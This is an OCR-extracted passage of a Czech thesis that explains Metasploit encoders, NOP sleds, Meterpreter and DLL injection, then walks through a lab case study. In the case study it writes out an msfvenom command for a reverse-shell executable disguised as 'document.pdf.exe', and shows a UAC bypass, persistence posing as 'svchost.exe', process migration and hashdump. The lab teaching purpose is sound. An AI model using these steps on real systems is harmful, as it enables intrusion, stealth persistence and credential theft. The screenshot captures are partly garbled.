Obrazek 11 Ukazka kodovani Base64
Zdroj: (96)

XOR kodovani: Jak jiz ndzev napovida XOR kédovani vyuZivd matematické
operace XOR. Jedna se o metodu symetrické kryptografie a je tedy nezbytné,
aby po zakdédovani byl klic pro dekddovani pribaleny kdanému
zaSifrovanému souboru. (95)

Alfanumerické kodovani: Tretim druhem koédovani je kdédovani
alfanumerické. Tento typ kédovani prevadi podobné jako Base64 zdrojovy
soubor na sekvenci ASCII znakl. Toto ale neslouZi pouze pro vyhnuti se
antiviriim a jinym prostredkiim IDF. Cilem tohoto typu kédovani je kromé
toho i snaha vyhnout se restrikcim na sadu znaki. Zdrojovy kod je totiz
preveden podobné jako pri vyuziti Base64 na ASCII format. Ve vystupu se

vSak objevuji pouze alfanumerické znaky. (95)
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msfé > show encoders

Encoders

Name Disclosure Date Rank Description

low [ Bash Brace Expans
good [ Echo Command Enco
manual [ Generic Shell Var
low ( Bourne ${IFS

normal [ Perl Command Enco

Powershell Basebi4
Command Encoder

Obrazek 12 Vypis péti konkrétnich kddovacii Metasploitu
Zdroj: Vlastni tvorba

8.3.4 NOPS
Jako soucast exploitii ¢i payload mlZe byt vyuZita i specialni procesorova instrukce
NOP (no-operation isntruction). Procesor vykonavajici tuto instrukci ji nejprve
precte, nic neudéla a nasledné se posune o instrukci dal. Opkdd této instrukce je
v architekture Intel 90 a je asto k vidéni ve vypisech jako \x90.V Assembleru je pak
tato instrukce zapsana prosté jako NOP. (84 stranky 111-115)

Instrukce NOP slouzi k nékolika ucelim. Tim hlavnim je tvorba tzv. ,NOP
slides", coZ je sekvence instrukci NOP, ktera postupné vede na skutecny kod. Po této
»skluzavce“ se tedy procesor vzdy bezpecné dostane k prvni skute¢né instrukci. (84

stranky 111-115; 84 str. 216)

Vyuziti tohoto fenoménu je vyhodné, protoZe je tak mozZné udrzet
konzistentni velikost payloadli napii¢ exploitatnimi pokusy. Vysledny kéd bude
vZzdy bez problému spustitelny, protoZe stejné velikosti je dosaZeno vycpanim

vysledného kodu instrukcemi NOP. (97)

Nékteré exploity funguji na zakladé zaplnéni velkého mnoZstvi paméti
instrukcemi NOP a naslednym zmanipulovanim procesoru, aby do této oblasti
libovolné skocil a tim nezamySlené zacal provadét kod exploitu. (84 str. 111) Pravé

kviili vyhodnosti instrukci NOP pro exploity v§ak fada antivirti a jinych systému IDS
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oznacuje kod, ktery obsahuje velké mnoZstvi téchto instrukci za potencialné

nebezpelny. (84 str. 230)

8.3.5 Auxiliary, evasion a post
Funkce poslednich tii typli moduli je jiZ zjevna z jejich nazvu. Jedna se o moduly
typu auxiliary, evasion a post. Slozka auxiliary obsahuje rtizné scannery portd,

fuzzery, sniffery ¢i nastroje pro utoky typu brute-force apod. (92)

Nové pridanymi standartnimi moduly jsou pak evasion a post. Moduly typu
evasion predstavuji rlizné metody vyhnuti se detekci anti-malwarovym softwarem,
kterych Metasploit v soutasné dobé obsahuje pouze 9. SloZka post potom sdruZuje
moduly, které slouZi k po-exploita¢ni ¢innosti jako je napriklad udrzeni persistence.
V minulosti tohoto bylo dosdhnuto za pomoci Meterpreter skritpt, ale tato moZnost
je jiZz nyni ,deprecated”, tedy porad moZna, avSak zastarald. V budoucnu miiZe byt

navic tato moznost z Metasploitu odstranéna kompletné.

8.4 Meterpreter

Jednim zhlavnich nevyhod vétSiny payloadli je tvorba nového procesu
v kompromitovaném systému. Toto je neZadouci, protoZe tento proces poté mize
byt snadno detekovan a zachycen antivirovym softwarem. Dal$im problémem
jednoduchych payloadii je dale velmi omezena funkénost, kterou ¢asto miiZe byt jen

nékolik malo funkci. (1 stranky 124-125; 98)

Z tohoto dlivodu byl vytvoren Meterpreter, tedy jakysi piikazovy interpret
pro Metasploit. Meterpreter vyuziva techniku zvanou ,in-memory DLL injekce“, ktera

je bliZze popsana v nasledujici podkapitole.

8.4.1 DLL injekce

Dynamicky linkované knihovny DLL (dynamic-link library) predstavuji
mechanismus systému Windows pro nacitani sdilenych knihoven. SpuSténé
programy tak mohou sdilet ¢asto vyuZzivané funkce. DalSi z vyhod DLL je moZnost

jeho dynamického nacteni za béhu programu. Kéd knihovny tedy nemusi byt
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v pameéti cely, ale mliZe byt nacten, aZ kdyZ to bude nutné. DLL injekce je poté forma

injekce kddu, ktera vyuziva toho mechanismu v operacnich systémech Windows.

Do adresniho prostoru béZiciho procesu je nahrana knihovna DLL, jeZ
obsahuje kdd, ktery chceme vkontextu daného cilového procesu spustit.
Injektovany kéd tak miize napiiklad ménit chovani daného procesu, ale také je timto
zplisobem mozné ziskat i pristup k prostredklim daného procesu. Injektovani
knihoven DLL lze pouZit k riiznym tceltim, véetné rozsireni funk¢énosti programu
tieti stranou (99), reSeni problémi s programem bez nutnosti zmény jeho kédu
(100) nebo jako prostredek Skodlivého softwaru ¢i Skodlivé ¢innosti k naruSeni

bezpecnosti a integrity systému. (99)

Autofi Skodlivého softwaru pouzivaji DLL injekce ze dvou hlavnich divodi.
Zaprvé jim injektovani Skodlivého kédu poskytuje urcity stupeii neviditelnosti pri
jeho provadéni; vSechny akce provadéné knihovnou DLL vypadaji, Ze pochazeji
z tohoto procesu, a tudiz jsou neodhalitelné pomoci antiviru na bazi detekce
procesti. Zadruhé tato technika umoZiiuje Skodlivému kédu vyuzZit kontext
provadéni "kontejnerového” procesu a vyuzit tak zdroje, které jsou specificky

dostupné danému procesu. (101)
Samotny proces injekce DLL je dle (102) moZné shrnout do 4 krokd.

1. Pripojeni se k cilovému procesu

2. Alokovani paméti v ramci daného procesu

3. Nakopirovani daného DLL nebo cesty k nému do paméti procesu a urceni
danych pamétovych adres

4. Instruovani daného procesu tak, aby kdd obsazeny v DLL spustil
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Step 1

Proces B Attach Proces A
B

OpenProcess();

Choose: DLL Path or Full DLL
Step 2

Sl Allocate Memory Proces A

VirtualAllocex();

Step 3
Elccct B Copy DLL/Determine

Addresses AIS

DLL

WriteProcessMemory();

DLL Path: Full DLL:
LoadLibrary(); Get...Offset();

Step 4

Proces B Execute Proces A
>
CreateRemoteThread(); DLL
NtCreateThreadEx();

RtICreateUserThread();

Obrazek 13: Detailni postup ukazkové DLL injekce
Zdroj: Vlastni tvorba dle (102)

8.4.2 Incializace Meterpreteru

Meterpreter tedy predstavuje komplexni payload, ktery vyuziva nékolikakrokové
inicializace za vyuZiti techniky stageru, ktery postupné nacita dalsi stages. Uspé$na
inicializace Meterpreteru probiha ve Ctyrech krocich. Na zacatku je do systému,
na ktery je utoceno odeslan takzvany stager, ktery po uspésné exploitaci vytvori
spojeni zpatky k MSFConsole pres TCP (Transmission Controll Protokol) na predem
dané adrese a portu. V dalsi fazi odeSle MSFConosle druhou ¢ast payloadu DLL
injekce. Poté dojde k odeslani Meterpreter DLL za ucelem vytvoreni radného
komunika¢niho kanalu. RozS$ifeni, jako jsou napft. stdapi a priv, jsou pak dale
nacitany za vyuzZiti standartniho protokolu pro zabezpetenou komunikaci TLS

(Transmission Layer Security). (1 stranky 124-125)
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Exploit + 1st Stage payload

>

Payload Connect Back to MSF

<

2nd Stage DLL
Injection Payload
sent

MSF Sends
Meterpreter DLL

> =

= o 11

Client and. Ser.ver om
Communication oxm

(e 111

A < L

Client Server

Obrazek 14 Uspésna inicializace Meterpereteru
Zdroj: Vllastni tvorba dle https://www.javatpoint.com/meterpreter-in-ethical-

hacking

8.4.3 Vyhody Meterpreteru

Meterpreter tedy predstavuje velmi mocny nastroj, jehoZz vyhody jsou dle (1 stranky

124-125) a (103) nasledujici:

e Nenapadnost:
o Nevytvari novy proces, protoZe funguje v kontextu exploitovaného
procesu
o Nachazi se kompletné v paméti, takZe na disk neni zapasano viibec nic
o Vyuziva Sifrovanou komunikaci
o DokaZe jednoduSe migrovat napfi¢ procesy

o Kvili své nenapadnosti vyrazné komplikuje forenzni analyzu
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e Sila:
o Meterpreter vyuziva kanalovany komunikac¢ni systém, takZze je mozné
pracovat s nékolika komunika¢nimi kanaly naraz
o Vyuziva TLV protokol, ktery ma malo limitact
e Rozsiritelnost:
o Je to platforma, pro kterou se daji velmi prijemné, rychle a jednodusSe
psat rozsireni
o Nové funkce se daji nacitat za béhu Meterpreteru a to (aniz by bylo

potireba) Meterpreter znovu sestavovat

8.5 Seznameni se zaklady ovladani Frameworku Metasploit

Cilem této pod-kapitoly je popsat zaklady ovladani Metasploit Framewrok za vyuziti
nejpouZzivanéjsiho uzivatelského rozhrani MSFConsole. Toto rozhrani bylo pro tuto
pod-kapitolu a nasledné i pro ptipadovou studii vybrano nejen kviili své popularitg,
ale také kviili tomu, Ze se jedna o jediné rozhrani, které umoZnuje pristup ke v§em
funkcim Metasploit Framework. (89) Toto rozhrani je mozné v pripadé standartni
instalace Metasploit Framework spustit naptiklad zadanim klicového slova

»-msfconsole” do prikazové radky.

Po uspéSném spusSténi MSFConsole se zobrazi uvitaci banner s dalSimi
informacemi o aktualné nainstalované verzi Metasploit Framework vcetné
detailnich informaci o mnoZstvi aktualné dostupnych moznosti v kazdém z moduld.
Spusténé rozhrani MSFConsole je ukazano na obrazku 15. Na tomto obrazku je vidét
i podoba samotného rozrani, které je prikazové a tedy negrafické. V pripadé verze 6

tohoto frameworku je rozrani MSFConsole znazornéno znaky ,,msf6 >“.
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true

32 auxiliary - 416 post
vloads - 46 encoders - 11 nops

.metasploit.com/

Obrazek 15 Uvitaci banner Metasploit Frameworku
Zdroj: Vlastni tvorba

Po spusténi uzivatelského rozhrani je nyni jiZ mozné Metasploit Framework
naplno vyuzit. NejzakladnéjSim prikazem je ,help“, ktery jak jiZ nazev napovida,
zobrazi seznam vSech dostupnych piikazii. DalSim z nejzdkladnéjsich prikazi pro
MSFConsole je ,search”. Tento prikaz na zakladé pouzitych klicovych slov prohleda
vSechny moduly vcetné jejich popisti a zobrazi relevantni vysledky. Takovéto
vyhledavani je pak dale mozno zefektivnit vyuZzitim pomocnych kritérii, jako je

napriklad , type:exploit” ¢i ,port:21"“.

PouZzitim prtikazu ,info“ je dale moZné ziskat dodate¢né informace o kazdém
z moduld. Pro konkrétni vybér modulu se vyuZziva prikaz ,use”. Oba tyto prikazy
standartné ocekavaji jako argument presnou cestu k pozadovanému modulu, av§ak
privyuziti vyhledavani je moZné si praci usnadnit a namisto toho jako argument pro
Luse“ a ,info” vyuzit pouze Cislo, které bylo kaZdému z nalezenych modulti docasné
prifazeno na zakladé jeho poradi ve vystupu vyhledavani. Pfesné takova situace je

znazornéna na obrazku 16.
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type:aux

[P

anner/ fcolorado_ftp_
anner,/ feasy_file_sharing_fitp
ner/ftp/ftp_version
indows/ftp/filezilla_admin_user
indows/ftp/filezil
fwget_symlink_file_write
@_write
os/windows,/ftp/solarftp_user
anner/http/titan_ftp_admin_pwd
anne

.
4
5
3]

|

e}

a module by name or index. For example

Obrazek 16 Ukazka vybéru konkrétniho modulu
Zdroj: Vlastni tvorba

Po vybrani konkrétniho modulu je dale nutné konkrétni modul
nakonfigurovat pro ucel, ke kterému se ho chystame pouzit. MoZnosti konfigurace
se lisi pro kazdy z modul{j, spole¢né vsak je, Ze nékteré konfigura¢ni moZnosti jsou
povinné a jiné nikoliv. Konkrétni informace je moZné zobrazit prikazem ,show

options*.

Z obrazku 17 je patrné, Ze pri pouziti modulu pro skenovani FTP verzi je
moZné nakonfigurovat ,FTPPASS, FTPUSER, RHOSTS, RPORT, THREADS". Vysvétleni
konkrétniho vyznamu je mozné zjistit z popisu, ktery je u kazdé moZnosti uvedeny.
Velmi ¢astymi konfigura¢nimi moZnostmi v Metasploit Framework jsou ,,RHOST(S),
RPORT, LHOST, LPORT*“. Prvni pismeno (L/R) v tomto pripadé oznacuje, jestli se
jedna o mistni ¢i vzdaleny cilovy systém. V pripadé, Ze vzdaleny systém miiZe byt
z principu pouze jeden, byva jako moZnost uvedena namisto ,RHOSTS“ pouze

jednotné cislo ,RHOST".
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Tim v§ak moZnosti konfigurace modulii nekon¢i. Dal$i moZnosti je pak moZné
zobrazit prikazem ,show advanced“ a ,show evasion“. Pokrocilé konfigura¢ni
moZnosti ¢asto neni potieba vlibec ménit. Ve specidlnich ptipadech to vsak miiZe
byt vhodné. V pripadé zde prezentovaného modulu pro skenovani FTP verze
obsahuji pokrocilé konfiguratni moznosti napriklad nastaveni tykajici se
kryptografickych protokolti TLS/SSL. Posledni z konfigura¢nich moZnosti slouZi pro
vyhnuti se odhaleni. V téchto konfiguracnich moZnostech je, jak jiZ nazev napovida,
moZné upravit chovani modulu tak, aby jeho spusténi bylo na cilovém pocitacovém
systému a siti obtiZnéji detekovatelné. V ptripadé skenerii se jednd napiiklad
o moZnost pridani zpoZdéni pred kaZdym krokem skenovani. To mliZe byt zejména
vyhodné, pokud se jedna o typické skenovani celé pocitacové sité, protoze velmi

rychlé iterativni prozkoumani sité miiZe byt snadno detekovano.

> U
dulx

E

:I
Liary( } > show options

s
1

e options (auxiliary/scanner/ftp/ftp_versi

ETE Current Setting Required Description

FTPPASS mozillagexample.com The
FTPUSER anonymous The
RHOSTS The
RPORT 2 The
THREADS 1 The

L=

(£ <t

=

(m
{ M N

i
[ T I T

oW

=

1

(s

|"[;

Obrazek 17 Ukazka konfigura¢nich moznosti
Zdroj: Vlastni tvorba

Volba konkrétni hodnoty konfigurani moZnosti se provadi prikazem ,set".
Nastaveni uZivatele v piipadé skeneru FTP verze miZe byt tedy provedeno
prikazem ,set FTPUSER user123“. Poté co penetracni tester modul spravné nastavi,
je uZzmoZzné pouzit ,run”, ktery kdd obsazeny v konkrétnim modulu provede. Vystup
po provedeni modulu je na obrazku 18. Z obrazku je patrné, Ze sken byl uspésné

proveden a konkrétni implementace FTP sluzby byla identifikovana jako vsftpd
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2.3.4. Tuto informaci mliZe dale penetrac¢ni tester vyuZit a hledat zranitelnosti v této

konkrétni implementaci FTP.

msf6 auxiliary(
STS = 192.168
msfh auxiliary( } > rumn

- FTP Banner: "22@0 (wsFTPd 2
- Scanned 1 of 1 hosts (1
ed

) = I

Obrazek 18 Uspésné provedeny modul
Zdroj: Vlastni tvorba
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9 Pripadova studie

Za ucelem bliz§tho prozkoumani a demonstrace mozného vyuziti nastroje
Metasploit Framework pro penetracni testovani byla vytvorena pripadova studie,
ktera je sestavena se zakladé predem pripraveného scénare. Scénar byl
zkonstruovan tak, aby souvisle predvedl Sirokou $kalu moznosti, které framework

nabizi.

Vzhledem ktématu této prace a vSestrannosti nastroje Metasploit
Framework je v pfipadové studii vyuZziti jinych nastroji, které by béZné mohly byt

pro penetracni testovani pouzity omezeno.

9.1 Predstaveni sité

Scénar pro provedeni piipadové studie byl sestaven tak, aby na ném bylo mozné
demonstrovat co nejvice Sirokou Skalu rliznych moZnosti, které Metasploit
Framework nabizi. Sit pro tento ulet byla vytvorena tak, jak je znazornéna
na obrazku 19. Sit se sklada ze dvou oddélenych podsiti. Sit 10.0.0.0/24 dale
referovana jako sit A je na obrazku znazornéna vlevo. Druhou siti je sit
10.0.100.0/24, na kterou je dale odkazovano jako na sit B je znazornéna na pravé
strané obrazku. Specialnim zafizenim je server umistény uprostired obrazku, tento
server totiZ obsahuje dvé sitové karty a je tedy soucasti sité A i B. V tomto scénari
jsou sité A i B spravovany stejnou smySlenou organizaci, ktera za ucelem zvySeni

zabezpeceni implemetovala bezpecnostni politiku, ktera je v bodech sepsana niZe.
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Obrazek 19 Topologie sité
Zdroj: Vlastni tvorba

Zakladni vlastnosti scénare:

Z bezpecnostnich diivodli hypoteticka organizace, ktera sité A i B spravuje
drzi zamérné tyto sité od sebe oddélené. Router tedy slouzi striktné ke
komunikaci sité A i B sexternimi sitémi avSak ne mezi sebou navzajem.
Prakticiky je toto pravidlo moZné vytvorit absenci routovaciho pravidla pro
propojeni sité A se siti B.

Server umistény mezi sité A a B je dosaZitelny zobou siti avSak neni
dosazitelny zzadné jiné sité. Hypotetickd organizace, ktera tuto sit
organizace vlastni, tak rozhodla za ucelem ochrany dat na serveru
umisténych. Prakticky je tohoto moZné dosahnout napriklad umisténim
restriktivniho Access Control Listu (ACL) na vstup routeru, ktery propojuje
sit organizace s externi siti.

Z praktickych dlivodi je stroj penetracniho testera pfimo pritomny v cilové
siti 10.0.0.0/24. Scénar je vSak navrzeny tak, aby realisticky a proveditelny

i kdyby byla komunikace testera s cilovou siti vedena skrze externi sit.
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Nutnym predpokladem v tomto pripadé je, Ze by komunikace nebyla

zablokovana firewallem umisténym na hranici sité této smyslené organizace.

9.2 Priprava scénafe

Ptipadova studie byla provedena za vyuziti laboratore pocitacovych siti na Fakulté
informatiky a managmentu Univerzity Hradec Kralové. Jednotlivé koncové stanice
jsou virtualizovany za vyuziti programu Oracle VM VirtualBox. Server je simulovan
pomoci predem zamérné zranitelného operacniho systému Metasploitable 2. Jedna
se o Linuxovy operacni systém, ktery vytvorila spole¢nostrapid7 za ucelem tréningu
a demonstraci technik penetra¢niho testovani. Pro pozdéjSi vyuZziti vramci
pripadové studie byla pak vtomto operatnim systému prekonfigurovana
predinstalovana verze programu vsftpd tak, aby pro vyuziti sluzby FTP byla nutna
autentizace. Konektivita serveru do dvou siti byla umoznéna vyuzitim externi USB
sitové karty spoletné svyuzitim druhé sitové karty vestavéné v hostitelském

pocitaci.

N il

Obrazek 20 Priprava scénare
Zdroj: Vlastni tvorba
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9.3 Provedeni scénare

Scénar zacina vytvorenim S$kodlivého souboru. Vramci Metasploit Framework
za tim Gcelem miiZe byt vyuZit ptikaz msfvenom, ktery na rozdil od béZnych soucasti
Metasploitu neodkazuje na standartni modul, ale samostatny program, ktery pokud
je nainstalovany, mlZe byt spustén i piimo z shellu. Konkrétni syntaxe uZita v tomto
scénari je nasledujici: ,msfvenom -p windows/meterpreter/reverse_tcp -e
x86/shikata_ga_nai -i 5 LHOST=10.0.0.4 LPORT=5556 -f exe -0 document.pdf.exe”.
Ptiznak ,-p“ slouZi pro specifikici konkrétniho payloadu, ktery v tomto pripadé byl
vybrat jako Meterpreter pro Windows. Komunikace byla zvolena jako ,reverse_tcp*,
tedy standartni TCP spojeni, které vzdaleny pocita¢ po uspéSném infikovani
inicializuje smérem k predem vybranému vzdalenému cili. Tento vzaleny cil je
specifikovan moznostmi ,,LHOST“ a ,LPORT". Pfiznak ,-e“ slouzi k volbé konkrétni
Sifrovaci metody Sifrovani je provedeno tolikrat, kolik je vybrano pomoci p¥iznaku
»-1". Vystupni soubor byl zvoleny jako exe s nazvem ,document.pdf.exe”. Tento nazev
byl zvolen z diivodu zndmé vlastnosti operacnich systému typu Windows, které
ve vychozim nastaveni automaticky skryvaji koncovku souboru, takZe se soubor
s velkou pravdépodobnosti na cilovém pocitaci zobrazi pouze jako ,document.pdf",

tedy pouze jako neSkodny dokument. Detailni postup je zobrazen na obrazku 21.

Overriding user environment wvar
[-]1 No platform was selected, choosing Msf ::Module::Platform::Windows fr
[-]1 No arch selected, selecting arch: x8& from the payload

Found 1 compatible encoders
Attempti to encode 3 with
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nai chosen with final

m

L T O 7 T Y B 8
o

fds e fda el e

L T O IO T
(¢}

—
W

Obrazek 21 Vytvoreni Skodlivého souboru
Zdroj: Vlastni tvorba
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JeSté pred tim, nez bude Skodlivy soubor dopraven do cilového pocitacového
systému je potreba nastavit nami kontrolovany pocita¢, tak aby toto spojeni
ocekaval. Moduly, které takovéto spojeni oCekavaji, se v ramci Metasploitu nazyvaji
shandlery“ a je mozné je spustit a nakonfigurovat stejné jako kazdy jiny modul.
DileZité je, Ze handler musi byt spustén presné na stejné adrese a portu, ke kterému
se bude pripadné pripojovat cilovy infikovany pocitac. Jedna se tedy o mapovani 1:1.

Konkrétni nastaveni handleru pro tento scénar je zfejmé z obrazku 22.

* run

handler on 10.8.8.4:5556

Obrazek 22 Priprava handleru
Zdroj: Vlastni tvorba

Nasleduje dopraveni $kodlivého souboru na vzdaleny pocitac a jeho spusténi.
Toho miZe byt dosaZeno nékolika zplisoby. Pokud by se jednalo o redlny
nepratelsky utok, tak toho bude dosazeno pravdépodobné na zakladé socialniho
inZenyrstvi, napftiklad tedy pres phishingovy email. V pripadé penetra¢niho
testovani vSe zaleZi na konkrétnim rozsahu penetracniho testu, tak jak byl definovan
ve smlouvé béhem pred-zakazkové interakce. Konkrétni zplisob dopraveni
Skodlivého souboru na cilovy pocita¢ neni dileZzity. DlileZité je, co se stane po jeho

spusténi.

Z pohledu cilové stanice, na ktery byl $kodlivy soubor spustén, se vSe jevi
jako, Ze se nestalo viibec nic. Nepozorny uZivatel tedy na tento ,dokument”
zapomene a pokracCuje se svou praci. Na stanici penetra¢niho testera se vSak v tento
moment objevi rozhrani Meterpreteru, tak je zirejmé z obrazku 23. Cilovy systém byl

tedy uspéSné kompromitovan.
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Obrazek 23 Vypis dostupnych pravomoci
Zdroj: Vlastni tvorba

Po uspéSném navazani Meterpreter relace je mozné pokracovat
v prozkoumani kompromitované stanice. VSechny dostupné prikazy Meterpreteru

jsou v tomto pripadé opét mozné ziskat zadanim piikazu ,help*.

Pro ziskani prikazové radky je moZné vyuzit prikaz metepreteru ,shell”.
Na obrazku 23 je napriklad zobrazeno spusténi prikazu ,getprivs“ pro prikazovou
radku Windows, ktery testerovi ukaze, jak velké pravomoci ma aktualné na cilovém
systému k dispozici. Z obrazku je zrejmé, Ze aktualné dostupné pravomoci nejsou
nikterak velké a pro penetratniho testera by jisté bylo vyhodné je néjakym
zplisobem zvysit. Pro tento tcel existuje piikaz Meterpreteru ,getsystem®, ktery se
nékolika rliznymi zpiisoby pokusi prolomit zabezpeceni a eskalovat privilegia
na opravnéni ,NT AUTHORITY\System”. Jak je ale zjevné z obrazku 24. V tomto

pripadé byla eskalace privilegii netispésna.
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priv_el e g ystem: Operation failed: attempted:
Named ion (In Memory/Admin)
Named on (Dropper/Admin)

Token ] ( JAdmin)
Named Pipe ] < iant)
Pipe Impersonation (PrintSpooler wariant)

Pipe Impersonation (EFSRPC wvariant - AKA EfsPotato)

Obrazek 24 Snaha o eskalaci privilegii
Zdroj: Vlastni tvorba

Po neuspédné eskalaci privilegii nezbyva, neZ pokracovat v prozkoumavani
kompromitovaného systému a jeho sité za ucelem odhaleni dalSich relevantnich

a uZzitetnych informaci.

Za ucelem uspésSné elevace privilegii je potreba nalézt takové informace,
které umoZni provedeni dalSich exploitii na kompromitovaném stroji. Dobrym
nastrojem pro tento ucel je napriklad prikaz ,systeminfo“, ktery je mozné provést
z prikazové fadky operac¢nich systémi typu Microsoft Windows. Vystup
po provedeni tohoto pfikazu je na obrazku 25. Je zde zobrazen nazev pocitace, pocet
jader ale napriklad i skutecnost, Ze kompromitovany stroj vyuziva operacni systém
Windows 7, ktery oficialné prestal byt vyrobcem podporovan v roce 2020. (104).
Pravdépodobnost nalezeni bezpecnostni slabiny v takovém opera¢nim systému je
tedy znacna. Dalsi dlileZitou informaci je i doména ,, WORKGROUP*, ve které pocitac
je. Toto nastaveni totiZ odpovida vychozimu nastaveni a je tedy mozné urcit, Ze
pocitac¢ neni spravovan doménovym kontrolérem. Pro urc¢eni konkrétni instalované
sub-verse operacniho systému je velmi uzite¢na sekce ,Hotfix(s)“ ktera, jak jiz nazev
napovida, popisuje, jaké posledni softwarové aktualizace opera¢niho systému byly

nainstalovany.
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JOHNDOE-PC

Mic [indows 7 Ultimate

k 1 Build 7601

Multiproce
John Doe

epping 1 GenuineIntel -2

& Canada)

Network Card(s):

Adapter

Obrazek 25 Zjistovani dalSich informaci
Zdroj: Vlastni tvorba

Po co nejpresnéjSim zjiSténi aktualné instalované verze i subverze
operacniho systému je mozné tyto informace vyuZit a identifikovat za pomoci téchto
znalosti potencialni zranitelnosti a naleZité exploity, které je moZné pro dalsi pokrok
v penetra¢nim testu vyuzit. Za timto ucelem je mozZné vyzkouSet Sirokou $kalu
moZznosti jako je napriklad vyuziti vyhledavani uvniti Metasploitu, vyuziti drive
zminovaného webu cvedetails.com, internetového vyhledavace ¢i fady specialnich
programli a databazi, které po zadani vesSkerych informaci vcetné hotfixi

rv s

automaticky vypisi dostupné exploity.

Po provedeni takového vyhledanti je zjiSténo, Ze za ucelem eskalace privilegii

je mozné vyuzit modul ,explouit/windows/local/bypassuac”, ktery ma za cil obejit
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file://C:/Windows/system32
file:///Device/HarddiskVolumel
file://C:/pagefile.sys
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Fizeni uzivatelskych tucti (User Account Control) a vytvorit novou relaci, na které jiz

eskalace privilegii na opravnéni ,NT AUTHORITY\System"“ ma byt dostupna.

Nastaveni a spusténi tohoto exploitu je zobrazené na obrazku 26. Za ucelem
uspéSného provedeni je nejdrive nutné upozadit aktudlni relaci Meterpreteru
prikazem ,bg“ ¢i ,background. Tento exploit dale pro své provedeni vyzaduje

nastaveni relace, ze které ma byt proveden.

exploit/windows/local/bypassuac
ting to windows/meterpreter/reverse_
) » set session 1

} > run

on 18.8.8.

BypassUAC
Part D+ ﬂdmlﬂlgT

Upl .:;qdj_nnh a C exe L& e ‘Fi-|.-3_-.--'5T-“n1
Meterprete: ; " BXE able 802 bytes long being uploaded..
Sending ytes) ; §

Meterpre se551 . ene Cl G444 — 10.8.8.3:49160) at

Obrazek 26 Priprava na eskalaci privilegii
Zdroj: Vlastni tvorba

Z obrazku 27 je ziejmé, Ze exploitace probéhla tspésné a v dlisledku byla
oteviena nova relace sidentifika¢cnim Ccislem 2. Pro pf‘epnutl' na tuto nové
vytvorenou relaci se vyuziva prikaz ,sessions -i 2“. Parametr ,-i“ v tomto pripadé
odkazuje na slovo ,interaguj“. Zadanim ptikazu ,getsystem“ do Meterpreteru této

noveé oteviené relace je pak nyni jiz uspésné dosaZzeno eskalace privilegii.

eraction with 2 ...

nigue 1 (Named Pipe Impersonation (In Memory/Admin)}.

Obrazek 27 Uspésna eskalace privilegii
Zdroj: Vlastni tvorba
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Dal$im ze zajimavych ptikazli pro Meterpreter je naprtiklad ptikaz ,ps, ktery

v e

zobrazi vSechny aktualné béZici procesy na kompromitovaném pocitaci. Vystup
z tohoto piikazu je ukazan na obrazku 28. Z obrazku je zirejmé, Ze na cilovém
systému je spusSténa znacnd rada procesi. Za povSimnuti stoji naptiklad i proces
s PID 2384. Tento proces nese nazev ,document.pdf.exe”. Jedna se tedy o proces,
ktery byl spustén na zakladé spusSténého Skodlivého souboru. Tento nazev byl
plivodné zvolen za G¢elem zamaskovani spustitelného souboru tak, aby vypadal jako

pouhy dokument a byl tedy méné napadny. Nyni ale jméno procesu naopak déla

celou aktivitu na kompromitovaném pocitaci vice napadnou.
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NT AUTHORIT
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NT AUTHORITY
NT AUTHORI

Obrazek 28 Seznam spusténych procesi

Zdroj: Vlastni tvorba
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Skryti procesu miZe byt dosaZeno napiiklad i vramci procesu vytvoreni
persistence. Vzhledem k tomu, Ze ptivodné byl pocitacovy systém kompromitovan
za pomoci Skodlivého souboru, je logické, Ze pokud by doSlo ke ztraté spojeni, tak
dalsi infikovani stejného pocitace nemusi byt viibec snadné. Obnoveni spojeni by
totiZ vyZzadovalo druhé spusténi Skodlivého souboru. Proto je dal$im dilezitym

krokem v procesu penetrac¢niho testovani vytvoreni persistentni pritomnosti.

Za timto uCelem je mozné vyuzit modul Meterpreteru
»post/windows/manage/persistence_exe“. Pro spusSténi tohoto modulu je nutné
nakonfigurovat fadu konfiguratnich moZnosti, Jednou znich je naptiklad
+REXEPATH, ktera obsahuje adresu ke spustitelnému souboru, ktery ma byt
na vzdaleny pocita¢ nahran a spustén. V tomto pripadé se jedna o stale ten stejny
soubor, ktery byl vyuzit pfi prvotnim infikovani vzdaleného pocitace. Soubor se tedy

stale nachazi na adrese ,,/home/kali/document.pdf.exe”.

V tomto piipadé neni interakce s uZivatelem nutna a miiZe byt vyuZzito jiné
snahy o zamaskovani pritomnosti na pocitacovém systému. Parametr ,REXNAME",
ktery nastavuje nazev, pod kterym bude vysledny spustitelny soubor na cilovém
pocitaci existovat, je tedy nastaven na ,svchost.exe”. Je zde tedy vyuZito vlastnosti
operacnich systémi typu Windows, které maji obvykle v kazdy okamZik spusténo
nékolik procesti s timto ndzvem. Zvysuje se tim tedy pravdépodobnost, Ze uZivatel
si podezielého procesu nevSimne ani pfi otevieni seznamu procesti. Posledni
konfiguratni moznosti, ktera je potieba pred spusténim modulu nastavit je relace,
ktera ma byt pro spu$téni modulu vyuzita. V tomto pripadé, je tato moZnost
nastavena standartnim zpiisobem za vyuZiti ptrikazu ,set SESSION 2“. Spusténi

tohoto modulu je na obrazku 29.
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msf6 post(

Running ;
eading Pay 1 : li/document.pdf.exe
;1,T=nT d tten to o rs JOHNDO~1%AppDa

Po;T module cution completed
msfé post( N |

Obrazek 29 Vytvoreni persistentni pritomnosti
Zdroj: Vlastni tvorba

Dal$i z moZnosti skryti piitomnosti na pocitaci je vyuZziti jedné z dlileZitych
vlastnosti Meterpreteru, kterou je moZznost migrace napfic procesy. Toho je moZné
docilitjednoduSe vyuZzitim prikazu,migrate“ spole¢né s PID, procesu, do kterého ma

Vv

byt premigrovano. Migrovani napri¢ procesy kromé zakryti pritomnosti prinasi

e

dalSi vyhody, které byly bliZe popsany v predchozi kapitole.

K migraci napri¢ procesy se doporucuje vybrat néjaky stabilni proces, ktery
je spuStény celou dobu, po kterou je pocita¢ zapnuty a ktery zaroven nebudi
podezrieni. Typicky se k tomuto ucelu vybira proces ,explorer.exe”, tedy prizkumnik

soubori. Uspé3na migrace napric procesy je znazornéna na obrazku 30.

> migrate 106@

Migrating from 1112 to 1860 ...
Migration completed successfully.

Obrazek 30 Uspésna migrace Meterpreteru
Zdroj: Vlastni tvorba

Pro dalsi prozkoumavani cilového systému miZe byt vyuZita fada piikazi.
Jednim z velmi zajimavych je naptiklad ,hashdump®, ktery automaticky exportuje
zahashovana hesla ze systému. Penetrac¢ni tester se pak tato hesla miiZe napiiklad

pomoci programu hashcat pokusit prolomit.

Meterpreter dale disponuje fadou moznosti pro Spehovani daného pocitace.
